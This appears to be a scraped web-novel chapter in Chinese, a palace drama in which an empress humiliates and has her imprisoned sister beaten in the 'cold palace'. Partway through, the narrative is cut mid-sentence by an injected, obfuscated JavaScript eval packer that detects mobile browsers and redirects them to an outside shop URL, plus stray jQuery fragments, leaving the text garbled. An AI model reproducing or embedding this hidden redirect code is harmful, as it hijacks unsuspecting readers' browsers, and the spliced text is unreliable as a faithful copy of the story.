所谓冷宫,其实并不是宫殿。
大安朝南迁不过两年,姑苏城的皇宫仍在建造之中。
在皇宫完工之前,以皇后父亲、安国公顾朝为首的江南世家豪族,纷纷将自家的园林献了出来,供当今天子及一干皇家宗亲暂住。
这些世家豪族久居姑苏城,早就占据了城中最好的一带风水,所以彼此的园林相隔不远,相互打通之后,倒也够得上洛京皇城五六分规模。不过这面积虽够,但房屋楼阁依旧是江南精致小巧的样式,就连皇帝皇后的住所,也不过是园林中心一处最大的院落罢了。
而冷宫,则位于这园林最边缘的一个角落,不过是个茅草搭盖的破木屋子。
这里原本是某个世家用来关押犯了大事儿的族人。
不过,大安朝的宗室一大半死在了北狄人刀下,剩下一小半被掳去当了奴隶,跟着南迁的人不过几百人。这些仅存的硕果,不管往日是什么过错,如今都已成了沧海遗珠,得到了当今天子一等一的礼待,自然不会在冷宫住着。
因此,冷宫里只有一人在此。
曾经的端亲王妃,皇太子妃,与皇后之位一步之遥的洛京第一美人。
安国公府的二小姐,也是皇后顾青鸾的妹妹,顾雪衣。
……
皇后顾青鸾在宫娥的搀扶下小步走出了凤撵,还未等她看清所在之处,便一股腥臊恶臭便扑鼻而来。
“这味道也忒难闻了些。”皇后顾青鸾不由止步,皱紧了眉头。
“我的娘娘,您当冷宫是个什么好地方。”
赵嬷嬷同样被熏得皱眉头。
“这旁边是宫内的御马厩,不远处便是园子的后门,宫里所有人的五谷轮回之物都由此处运送出去,味道自然不能好闻到哪儿去。”
赵嬷嬷道:“哪儿像咱们宫里边,处处都是陛下调制的香料,香风阵阵,老奴闻着啊,仙气儿似的,就是天上也不过如此了。“
“原来如此。”皇后顾青鸾点头:“咱们都是沾了陛下的福气,论这香道,这天下无人能比过陛下。”
当朝天子,不仅样貌卓绝,琴棋书画也无一不通,尤其对香道颇为精通。在其驾临姑苏后,对江南精美园林,大感兴趣。
江南园林讲究天人合一,明明是人工雕筑的亭台楼阁,却借着山石流水奇花异草,巧妙地融成了这天地的一部分。更有卓绝者,讲究一步一景——即游览者每走一步,眼前的景色便是一幅新的画卷。这画卷或是一簇绽然开放的奇花、或是一泓倒垂映入眼帘的濯濯清泉、或是一条不知通向何处幽然小径,令游园之人目不暇接,流连忘返。
在当今天子看来,此等美妙园林,如同绝世佳肴,色味均是上佳,只差一个“香”字。因此,他登基之后,便每日游览于园林之中,思索每一处景色独有的香道。皇天不负苦心人,其思索三月有余,终于配出一套精致的、包含一百零八种香型的香料。
其后天子便下旨,行宫内每个他御笔点过之处,便要点上一支其精心调制过的、适于此位置的香烛,昼夜不熄。燃烛之后,行宫香气流溢,常有蝴蝶盘旋其上,因此又被百姓称之为“百蝶天香园”。
却说这行宫奢靡华丽,犹如天上宫阙,但也有不堪腌臜之处,就譬如冷宫——天子和贵人们是不会来这里的,就连有些体面的奴婢也嫌弃这里,这里自然也没有什么香气。
顾青鸾与赵嬷嬷,日日浸润于香气之中,早已习惯,乍一到无香之处,方觉气味难闻,有所不适。顾青鸾蹙着黛眉,用熏了薄荷香气的绸缎手帕牢牢掩住了鼻口,这才抬眼打量起“冷宫”。
......
皇后顾青鸾生平第一次见到如此破败的屋子。
院子的围墙几乎完全塌了,屋子顶上,搭盖的茅草已没有了大半,露出了横梁与支架。
木头做的窗户乌黑斑驳,早已看不清原来的颜色,黄色糊窗纸多已破烂,在风中簌簌声响。充做墙体的木板上,不知为何裂出了一个半人高的大口子,又有更多的小裂缝从这道大口子上向四周延伸开来,仿佛是一棵长在墙上并在不断开枝散叶的树。
寒风从破旧屋子的缝隙穿过,异响阵阵,好似人哭,呜呜咽咽的,从遥远的不知名的某处传来。
“娘娘,这便是冷宫了。”赵嬷嬷道。
皇后顾青鸾看着屋子,微不可见的点点头,便准备下凤撵。只是她一瞧这地面,一双长针细眉登时便皱了起来。
这儿的地面并没有铺砖,泥土混合着污水搅成一团,隐隐散发着酸腐味儿,让她一时之间不知如何下脚。
她素来注重仪表,身上穿的用的,无一不是精挑细选,就连脚上的绣鞋,也是颇费了一番心思。
此鞋名为天凤含珠踏江山,鞋面上用极细的金丝银线绣了两只展翅高飞的凤凰,鞋足尖处,缀着两颗鹌鹑蛋大小的南海东珠。因顾青鸾生的娇小,绣鞋做了厚厚的鞋底,而这鞋底的侧面,便让宫廷画师,细细描绘了山水人物,一只鞋上为山水花鸟,另外一只鞋上为市井人家,合之即为这南安朝的江山。
这鞋虽精致,但顾青鸾却也只当平常。
因其身为皇后,宫中便养着几百苏州绣娘为其一人日夜绣鞋,因此这种鞋子却还有许多,平日里穿个四五日便也扔在一边不再理会了。
所以,她倒也不是舍不得,只不过,一想到她的鞋会沾上这儿不知混着什么的脏污泥土,皇后顾青鸾便觉得自己的脚也立刻被脏物污了一样,身上立即起了细细的疙瘩。
赵嬷嬷见顾青鸾没有下车,一脸厌恶地看着地面,立刻明白过来。
按着规矩,皇后所到之处,应绸缎铺地,但顾青鸾今日乃是临时起意,又催得急切,因此赵嬷嬷竟没来得及准备。
但这番罪责,赵嬷嬷是不准备担的。
只见她眼珠子滴溜溜一转,一转身,便指挥着抬凤撵的内侍们说道:“这地儿可太腌臜了,不能污了娘娘的玉足。你们都跪着趴下,一个接着一个,连到那屋子里去。手脚麻利点!”
不一会儿,见内侍们均都跪下趴好后,赵嬷嬷转头对顾青鸾谄笑道:“谁知道这地儿这么邋遢,娘娘您将就着点,踩着人进去。老奴扶好娘娘,娘娘不必害怕。”
皇后顾青鸾微微一笑,赞许地点点头,扶着赵嬷嬷的手臂,平稳地踩着内侍们的背,踏了上去。
“都趴低点,稳着点,摔着皇后娘娘,一家子都别想活了!“赵嬷嬷一边扶着她,一边对内侍们呵斥道。
这番话一出来,内侍们又压低了身子,几乎将脸埋到了地上的污水里,从而让皇后顾青鸾十分平稳的,从院子门口走到屋子跟前。
……
茅草屋低矮阴冷,散发着一股潮湿的霉味。
屋里靠近窗的位置,搭着一个破旧的木台,木台上放着一只掉漆小案桌。小桌没了一条腿,便用几块碎石头垫了起来,勉强斜歪着,其上托着一只豁了口的土陶碗,碗里乘着一点发霉的白米饭。
土台斜桌破碗旁,跪坐着一白衣女子。
女子面容苍白,单薄如纸,眉心正中间,长着一颗血滴似的朱砂痣。
她安安静静的坐在那里,身上还穿着夏日的蝉翼纱衣,远远看去,朦朦胧胧,好似一阵轻烟。
若不是还有一头如墨的乌发沉甸甸的坠在地上,女子就仿佛就要随风而去,飘然而散了。
……
顾青鸾一进到屋子里,第一眼便看到了她的妹妹。
安国公府的二小姐,顾雪衣。
昏暗的屋子里,那个人所在的地方,仿佛夺走了所有的光。
她身上穿的白衣早已脏污,失去了原本的颜色,一头乌黑浓密的秀发也是久未打理,早已没了发髻,散乱的披于肩旁,坠入泥中。
可那个人似是浑然不知自己已如此落魄,她腰背笔直地跪坐在草屋的窗边,透过破碎的窗纸,出神地望向远方。
窗外的日光微微照在她失了血色的瓷白脸上,精致的眉眼被勾勒出淡淡的金边,越发衬得她像一尊白玉雕像,好似道观庙宇中的神仙玉女,美得摄人心魄。
还是这样!
还是这样?!
顾青鸾在心里无声地嘶吼,一双细长的眼睛仿佛淬了毒,死死地盯着白衣女子。
即使是被像猪狗一样关押了大半年,不允许梳洗,每日只有馊掉的饭食,为什么这个贱人还是这样一副令人厌恶的仙女婊子样!
她难道以为,此处仍是琼楼玉宇,而她自己仍是那个美丽的顾二小姐,尊贵的端亲王妃、皇太子妃吗??!
还有!
还有!
她见到我,为什么不理不睬?!
她一个罪人,为何不向我跪拜?!
皇后顾青鸾藏在衣袖里的手不由握得死紧,指甲深深戳进了手心肉中。脸上的珍珠白粉也因皱起的眉头显出了川字纹路,细细描过的朱红色艳唇抿起,绷成了一条直线。
……
茅草屋里陷入了可怕的沉寂。
皇后携赵嬷嬷及众多宫娥来势汹汹,动静不可谓不大。
但屋子里的女子,却彷佛没有察觉到众人的到来。
她侧着脸,出神地望向窗外,一动不动,任由寒风过脸颊,雪花落在衣襟。
她一人踞坐在窗边的木台之上,皇后等人却面向她站立。
这场景,反倒像她才是最尊贵的人,而皇后倒要向她请安似的。
赵嬷嬷感受着皇后越来越僵硬的身体,心里也是一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679007|207620||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叹。
这世间之人,无论再权势滔天富贵逼人,也总有一两件求不得之事,使人终生抱憾。
就如同自己从小奶大的姑娘,此生荣华富贵、声名地位、郎君子嗣都有了,可偏偏在女子最重视的相貌身段上差了许多,总是需得用心装扮,才能得几分端庄之感。
这本也没什么,高门大户人家里的小姐绝大多数姿色均是平常,毕竟,这女子最重要的婚配,讲究的总归是门第与德行。
可老天爷彷佛见不得人圆满,偏偏给姿色平庸的小姐,安排了个绝色的妹妹。
二小姐顾雪衣五六岁时,便比一般小女孩更玉雪可爱。随着年岁渐长,便有了一幅倾国倾城的美貌,眉眼间自有一股别样的风流妩媚。
赵嬷嬷觉着,便是戏里的西施飞燕再世,也不过如此了。
凭心而论,二小姐这样的倾国美人,当初即使没有用手段,只怕如今的陛下、当初的端亲王,要求娶的依然是二小姐,而不是如今的皇后娘娘。
只不过,这番话,这辈子只能烂在肚子里,带到坟里去,是万万不能与皇后娘娘说的。
赵嬷嬷心里一番感慨后,朝着身后的宫娥使了使眼色,便有机灵的宫娥走上前,先对着皇后福一福身,道:“皇后娘娘,这罪人如此无礼,奴婢斗胆,替娘娘教训教训她。”
紧接着,这名宫娥大跨步走上前,两手如鹰狠狠抓住女子瘦弱的臂膀,猛得一发力,直接将窗边的女子一把薅拉下了木台。而后,这宫娥偷觑了下皇后的脸色,见其没有训斥自己的意思,便更加确定了心中的想法,紧接着高扬起臂膀,狠狠的扇了女子一耳光,破口大喝道:
“大胆!皇后娘娘驾到,为何不朝娘娘跪拜行礼!”
这一耳光的力度不可谓不大,打得女子脆弱纤细的脖颈一下子折了过去,原本苍白的脸上瞬间多了五道鲜红指印,粉中泛紫的唇角边,慢慢流下一注鲜血。
这一巴掌,竟直接将女子的嘴角打得裂了开来!
而此时,那女子似才被痛意惊醒。
她轻轻的“啊”的一声,如梦初醒般,迟缓地抬起头,琥珀色的眼茫然地望向众人,呆呆地过了好半天,才认清了来人,听懂了宫娥的呵斥。
女子挣扎着从地上爬起来,要给面前的皇后娘娘行礼。
但她大概跪坐得太久了,身体早已麻痹僵硬,只能迟缓的挪动着,一下一顿,仿佛一个断了牵丝线的皮影人偶。
就这样过了好一会儿,她才颇为吃力地从地上爬起,缓缓朝着已经端坐在凤椅上的顾青鸾磕了一个响头,叩拜道:“罪女顾雪衣,请皇后娘娘安,皇后娘娘千秋华茂,长乐未央。”
女子的声音很轻很淡,彷佛一缕似有似无的薄烟,风一来便会散去。
但皇后顾青鸾还是听到了,只见其端着茶杯,漫不经心的撇着水面上的茶叶子,从容问道:“妹妹,你我姐妹多日不见,你可知,本宫今日为何来此?”
跪在地上的女子迷惘地听着皇后顾青鸾的话,过了好一会儿,才似乎理解了其中的意思,轻声道:“罪女想,娘娘大概是来送罪女最后一程的吧。”
“哎,倒是被你料到了。”
皇后顾青鸾端坐在高高的凤座上,拿着手帕轻轻擦拭着眼角,彷佛那里有眼泪流出。
“虽然你有千错万错,但毕竟是顾家人,本宫如何能不顾及姐妹之情?因此特特去向陛下求情,希望他能网开一面,放你条生路。”
“可是谁曾想,陛下仍记往事,对当初抗旨不尊的镇北徐家心有怒气,因此不肯赦免你。”
“妹妹,本宫尽力了,但陛下心坚如磐石,你不要怪本宫。”皇后顾青鸾叹道。
“皇后娘娘仁慈。”地上的女子无悲无喜,她再度叩首,缓缓道:“罪女罪孽深重,早已知晓自己的归处,能在此地苟延残喘半余年,已是陛下与娘娘的恩典。”
女子低眉颔首,语气平静,仿佛早已知道即将到来的死亡。
而她对此浑不在意。
女子这幅波澜不惊、轻描淡写的神情,让皇后顾青鸾心里很是烦躁!
这不是她想象中的场景!
她想要的,是这个贱人扑在她脚下,哭着喊着,求她饶恕!而她,则要狠狠地践踏上这个贱人一番,方能出了心里这口积攒多年的恶气!
该做点什么好呢?
皇后顾青鸾眉眼一转,计上心来。
她轻笑一声,抿了口茶,不缓不慢继续道:“既如此,妹妹你还有何心愿未了?若是不难,本宫愿意帮你完成,就算是全了我们这一世的姐妹之情了。”
一句话,仿佛一颗石子投入湖中。
跪在地上的女子,生机寥寥的脸上,终于泛起一丝涟漪。